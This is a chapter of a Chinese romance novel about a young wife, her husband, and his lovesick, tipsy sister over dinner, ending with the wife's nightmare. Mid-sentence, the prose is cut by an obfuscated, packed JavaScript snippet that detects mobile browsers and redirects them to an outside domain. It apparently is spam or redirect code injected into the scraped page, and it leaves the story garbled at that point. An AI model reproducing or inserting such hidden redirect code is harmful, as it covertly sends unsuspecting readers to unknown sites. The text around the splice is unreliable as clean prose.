林汐音念叨了多日的“好朋友”出现,心情也开朗起来:“嗯嗯,我昨天回来的。” 还没来得及更近一步,裴清宴先走过来,对路过的许听言低声叮嘱:“不要没大没小。” 许听言翻着白眼嘟囔:“我们同龄啊,再说我还大俩月呢……” “是呀是呀。”林汐音的视线被身形高挑的裴清宴占满,只好仰头跟他说,“听言可以叫我音音,没关系的。” 裴清宴欲言又止,最后只能在她晶亮期待的眼神下嗯了声。 他抬步往厨房走,问许听言:“意面吃吗?” 许听言:“泡面其实更好……” “家里没有。” “那就意面吧,但我要辣一点的。” 裴清宴说知道了,许听言又追上去:“哥,有酒吗。” …… 许听言坐在餐桌左侧,埋头吃干净一碗面,杯里的红酒也跟着见底。 打算再续一杯,只剩三分之一的酒瓶却被裴清宴推开:“少喝一点。” 林汐音跟着点头:“是呀是呀,你已经喝很多了,等下难受怎么办。” 许听言看着坐在对面的两个人,只觉他们小题大做:“这点酒对我来说还不算什么,我至少可以喝完这瓶。”她说着,手又探过去。 裴清宴长指按在桌面,沉了声:“许听言。” 直呼大名确实很有杀伤力,再配上那张没有什么表情的脸。许听言顿了下,乖乖收回手:“不喝就不喝,你怎么这么凶,早知道我去找大哥了……” 气氛莫名有些紧张,林汐音打圆场道:“要不要吃一点小汤圆,煮了很多的。” 她和裴清宴各吃了一碗,其余时间基本上都是在看许听言喝闷酒。 许听言摇摇头:“饱了。” 林汐音继续安抚:“那要不要喝一点热水,刚刚进门时候你不是说了有点冷嘛。” 喝了大半瓶酒,许听言说:“已经暖和了。” 裴清宴将林汐音的手牵过来,和她十指相扣放在腿上,低声道:“不用管她。” 许听言差点翻白眼,红酒下肚又上头,人也不太清醒了,她看着林汐音,双手交叠垫在下巴,好奇道:“嫂子……” 林汐音因为还不熟悉的称呼瞬间坐直:“怎,怎么啦。” “你有过特别喜欢一个人,但他却对你没兴趣,不论你做什么做多少,他都无动于衷,这样的经历吗?” 林汐音一顿,思考后答:“好像没有诶……” 在她目前的记忆里,大学毕业前她没有喜欢过什么人,至于裴清宴…… 她现在确实特别喜欢他,但他有说过当初是他追的她,而且他们很快就结婚了,两情相悦的话,应该不存在许听言说的那种情况吧。 她眼神笃定,许听言却落寞:“这样啊,那看来这世上就我一个单恋还爱而不得的……” 林汐音忙否认:“不是啊你特别漂亮也特别好,喜欢你的人一定有很多。” “可那些我都不喜欢。” “那……” “嫂子。”许听言还在继续问,“如果是你的话,喜欢一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15388719|168324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人很久,也追了他很久,可即便这样也依旧没结果,你会放弃吗?” 不知是不是林汐音的错觉,她感觉裴清宴握着她的手似乎突然收紧了一些。 难道是在暗示她? 劝听言早点放弃? 林汐音想了想,胡乱道:“可能会吧……” 那手握的好像更紧了。 许听言泄气,手也落下来,可还是不死心,又去问亲哥:“哥,如果是你呢?” 林汐音下意识看向身旁人,裴清宴不知在想什么,眼神透着落寞,好一会儿,他才哑声答:“……不会放弃。” 许听言瞬间又有动力了:“果然是我亲哥啊,我也是这么想的。” 原来理解错他的意思了,林汐音有些不好意思。 下一秒许听言站起来,向他俩举起酒杯,一口干掉余下的酒,说:“今晚谢谢你们,我要回家啦。”说着晃了一下。 林汐音和裴清宴同时站起来,他手长,先扶稳了许听言。 松开和林汐音十指相扣的那只手,裴清宴温声说:“我送她回去,音音先洗澡休息吧。” 林汐音:“我和你一起吧。” “不用。”许听言摇摇晃晃的,“嫂子你快睡吧,我就住这个小区,很快就回去了。” “这样啊。”林汐音放下心来。 裴清宴将许听言扶稳坐回椅子上,转身去卧室,拿了件长大衣,接好热水又回到餐桌边。 他递给许听言一颗白色药片,又递去水:“把这个喝了。” 许听言晕晕乎乎:“这什么?” “解酒的,喝了胃会好受一点。” “哦。” 许听言听话喝掉,她起身穿外套,裴清宴又把自己宽大暖和的大衣披在她身上,出门前安顿林汐音困了的话可以先睡,不必特意等他。 林汐音乖乖点头:“我会的。” …… 林汐音回到楼上卧室,洗了个热水澡,收拾好出来时裴清宴貌似还没回来。 上了一天班,虽然没干什么,但就是觉得好累,她仰倒在床上放松肩颈,没一会儿泡澡的余热上来,暖暖烘着睡着了。 不知是不是睡前听了许听言几句话的缘故,她竟然梦到很奇怪的画面,梦里她害羞地坐在裴清宴对面,朦胧中说了什么听不清,可裴清宴的话却字字清脆砸在她身上。 他神情很淡,说出的话低且伤人:“抱歉,我并不喜欢你。” 林汐音一瞬间惊醒。 不知睡了多久,醒来手脚竟是凉的,她缓缓神,发现被子早已踢到一边。 梦里的余韵还在让她心悸,林汐音呆了会儿,抱着枕头下楼了。 她走到裴清宴房间门口,他没有关门,屋内灯光昏暗,只剩床边的一盏小灯,他靠在床头,正认真看着手里的电脑。 他看起来在忙工作,林汐音犹豫几秒,手指抠着绵软的枕头,脚步开始后移。 “音音?”刚想挪动,裴清宴先注意到她,他的视线从电脑移开,“怎么了。” 他嗓音好温柔,伴着夜色也很沉。 林汐音低着脑袋:“做噩梦了……”她声音很小,抬起头看他时也有些不好意思。 裴清宴将电脑合上,放去一边,看她时目光柔,声音也是。 他朝她招招手,沉声道:“来。”